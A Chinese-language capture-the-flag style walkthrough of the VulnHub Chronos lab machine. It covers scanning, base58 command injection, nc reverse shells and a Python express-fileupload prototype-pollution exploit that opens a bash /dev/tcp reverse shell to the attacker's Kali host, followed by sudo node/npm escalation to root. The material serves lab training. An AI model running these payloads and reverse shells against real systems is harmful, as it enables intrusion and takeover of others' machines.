• 写写打靶记录。
  • 靶机地址:https://www.vulnhub.com/entry/chronos-1,735/
  • Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。

信息收集

  • 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。
  • 首先查看 Kali IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.105 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::adc5:106b:ff3c:9390 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a8:8a:0b txqueuelen 1000 (Ethernet)
RX packets 24 bytes 10921 (10.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 549 bytes 40698 (39.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 扫描当前网段,发现靶机 IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# arp-scan 192.168.56.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a8:8a:0b, IPv4: 192.168.56.105
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:1a (Unknown: locally administered)
192.168.56.100 08:00:27:ea:40:88 PCS Systemtechnik GmbH
192.168.56.108 08:00:27:58:b9:2b PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.991 seconds (128.58 hosts/sec). 3 responded
  • 继续使用 Nmap 扫描端口、开放服务等信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.56.108
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-07 05:57 EST
Nmap scan report for 192.168.56.108
Host is up (0.00053s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
MAC Address: 08:00:27:58:B9:2B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 20.62 seconds

┌──(root㉿kali)-[~]
└─# nmap -p 22,80,8000 -sV 192.168.56.108
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-07 05:58 EST
Nmap scan report for 192.168.56.108
Host is up (0.00047s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open http Node.js Express framework
MAC Address: 08:00:27:58:B9:2B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.78 seconds
  • 扫描出 8080 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:

image-20230830224831447

image-20230830224837584

源码解码

  • 两个端口的 Web 服务都非常简单,查看一下页面的源码,发现一段不一样的代码:
1
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

image-20230830224919868

  • 由于是出现在 <script>标签中的,所以可以认定是 JavaScript 代码,但是看代码内容像是被加密过,需要解密,由于不知道使用的加密方式,选择一个在线网站进行解密。

image-20230830224942852

  • 根据上述步骤,可以将代码进行解密,解密完后,发现一个网址:
1
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
  • 将 format 后面的字符串进行解密(base 58):

image-20230830225002872

  • 发现表示的是日期时间,说明上述 URL 的作用很有可能是向 chronos.local 地址发送时间信息。

Host 修改

  • 由于是 8000 端口,有理由怀疑就是指向靶机。需要修改本地 DNS 文件,将 chronos.local 域名指向靶机:
1
2
3
vim /etc/hosts

192.168.56.108 chronos.local
  • 再次访问 Web 服务:

image-20230830225118030

  • 多了一行时间信息,好像还是没啥用,BurpSuite 抓包看看:

image-20230830225130853

  • 发现有 3 个 URL 请求信息。第一个是正常访问,第二个是 Options 访问,第三个是 Get 请求。

    • 注:Options 通常是浏览器自动发起的,目的就是去服务器检查一下接下来要到用的方法( GET、POST、PUT、detele)在服务器上是否支持;

命令注入

  • 这里发现一个问题,在 format 跟着 base58 的时间请求,在页面上进行了显示:

image-20230830231227045

  • 那这里是否有可能存在命令执行?抱着这个疑问,去尝试一下,将 ;ls base58 一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 现在 Kali 上执行 date 命令

┌──(root㉿kali)-[~]
└─# date '+Today is %A, %B %d, %Y %H:%M:%S.'
Today is Saturday, January 07, 2023 08:21:52.

┌──(root㉿kali)-[~]
└─# date '+Today is %A, %B %d, %Y %H:%M:%S.';ls
Today is Saturday, January 07, 2023 08:22:19.
Desktop Documents Downloads icmptunnel Music Pictures Public Templates Videos

# 说明命令执行是成立的,将其 base58 一下
'+Today is %A, %B %d, %Y %H:%M:%S.';ls

6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMajgLA

image-20230830231307794

  • 拿去 BurpSuite 执行以下:

image-20230830231315785

Shell 反弹

  • 既然可以命令执行,看看有木有 NC 存在:
1
2
3
'+Today is %A, %B %d, %Y %H:%M:%S.';ls /bin

3tMMgHUnzUbrMNnoRimpQhWEkSPfyktyDehmp58hDsbcctg2FwKoAPUxhaD

image-20230830231342414

  • 存在 NC,使用 NC 反弹个 Shell:
1
2
3
4
5
6
7
8
9
# 在 Kali 上开启监听
nc -lvvp 4444

# 命令执行命令如下
'+Today is %A, %B %d, %Y %H:%M:%S.'| nc 192.168.56.105 4444 -e /bin/sh
2iqHDnc3ghAWrH6eKvF1B8PMgoR7ysZomGDJB2VjxsbCLgGKhqyCHk66Hu1nGdhT7rU37MaUeZNFSuj3ECMRpKQiQQFGP5x3 # 直接显示 Something went wrong,看来目标是不带 -e 的 NC 版本

'+Today is %A, %B %d, %Y %H:%M:%S.'| nc 192.168.56.105 4444 | /bin/sh | nc 192.168.56.105 5555
hAtTz52SG2QaueigHmowMJFzXCfFzkS9eFGpvwsi4DFhw6twhFo58YK7E7z3LQ7vFW7Viw8J54wXPBtPjC2mgBZUs8BXfcLnUjxDTFc6GYheEdjG4DnQ5mtrMELCg9F2

image-20230830231403041

Express-fileupload 提权

  • 查看一下靶机当前用户信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# whoami
www-data
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
......
imera:x:1000:1000:imera:/home/imera:/bin/bash
  • 发现有一个 imera 用户,去它的家目录看看:
1
2
3
4
# ls /home/imera
user.txt
# ls -l /home/imera
-rw------- 1 imera imera 37 Aug 3 2021 user.txt
  • 发现一个 user.txt 文件,但是权限不够无法查看文件内容。那作者的意图很明显,需要我们提权到 imera 用户或者 root 用户去打开这个文件。

  • 查看一个当前靶机信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# uname -a
Linux chronos 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
# lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
# find / -perm -u=s -type f 2>/dev/null
......
/bin/ping
/bin/fusermount
/bin/mount
/bin/su
/bin/umount
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/chfn
......
  • 内核版本比较高,SUID 没有可利用文件。查看靶机开放的端口:
1
2
3
4
5
6
7
8
9
# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::8000 :::* LISTEN 852/node
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
  • 发现有一个只能在本机访问的 8080 端口。重来,查看文件,找一下 8080 的服务:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# ls
app.js
node_modules
package.json
package-lock.json
# cat app.js
......
const port = 8000; # 发现是一个 8000 端口的 Web 服务
......
# cd .. ; ls
chronos
chronos-v2 # 发现一个 v2 版本的,很有可能就是我们需要的东西
# cd chronos-v2;ls
backend # 后端目录
frontend
index.html
# ls backend
node_modules
package.json
package-lock.json
server.js
# cat server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080; # 找到了
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
# cat package.json
{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3"
}
}
# ps -aux | grep imera
imera 838 0.0 2.9 599120 38444 ? Ssl 13:26 0:00 /usr/local/bin/node /opt/chronos-v2/backend/server.js
www-data 1475 0.0 0.0 13144 1036 ? S 14:11 0:00 grep imera
1
2
3
4
5
6
7
8
9
10
11
12
13
14
### imports
import requests

### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.105/6666 0>&1"'

print("Starting Attack...")
### pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

### execute command
requests.get('http://127.0.0.1:8080')
print("Finished!")
  • 在 Kali 上开启 Web 服务,在靶机上进行 exp 下载:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 开启 Web 服务
python3 -m http.server 80

# 开启监听
┌──(root㉿kali)-[~]
└─# nc -lvvp 6666
listening on [any] 6666 ...

# 查看是否有下载工具 wget 执行环境 Python
which wget
/usr/bin/wget

which python
/usr/bin/python3

# exp 下载
cd /tmp # tmp 目录权限大
python3 exp.py

# 监听成功
┌──(root㉿kali)-[~]
└─# nc -lvvp 6666
listening on [any] 6666 ...
connect to [192.168.56.105] from chronos.local [192.168.56.108] 41022
bash: cannot set terminal process group (838): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$

image-20230830231601486

  • 获得了 imera 用户的权限,查看一下之前看不了的 user.txt 文件:
1
2
3
imera@chronos:~$ cat user.txt
cat user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
  • 得到第一个 flag:byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK(时间飞逝我的朋友)

Sudo 提权

  • 还差一个 flag,但是在进入 root 目录时,还是显示权限不够:
1
2
3
imera@chronos:~$ cd /root
cd /root
bash: cd: /root: Permission denied
  • 说明,还要进行一次提权,通过信息收集,发现 sudo 命令有提权的可能:
1
2
3
4
5
6
7
8
9
imera@chronos:~$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User imera may run the following commands on chronos:
(ALL) NOPASSWD: /usr/local/bin/npm *
(ALL) NOPASSWD: /usr/local/bin/node *
  • 通过 GTFOBins 网站的查找,发现 npm 和 node 命令都存在提权的可能,依次尝试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# npm 提权
imera@chronos:~$ TF=$(mktemp -d)
TF=$(mktemp -d)
imera@chronos:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
<ts": {"preinstall": "/bin/sh"}}' > $TF/package.json
imera@chronos:~$ sudo npm -C $TF --unsafe-perm i
sudo npm -C $TF --unsafe-perm i

> preinstall
> /bin/sh

id
uid=1000(imera) gid=1000(imera) groups=1000(imera)

# node 提权
imera@chronos:~$ sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
<ild_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
id
uid=0(root) gid=0(root) groups=0(root)
  • 通过 node 提权成功~,去 root 目录查看:
1
2
3
4
5
cd /root
ls
root.txt
cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
  • 得到第二个 flag:YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK(今晚我们在沉默中收集梦想)
  • 打靶结束~

注意事项

  • 在查看 NC 时,用 which nc 会直接卡住,建议用 ls /bin。
  • 一旦出现页面不显示时间信息时,重启靶机。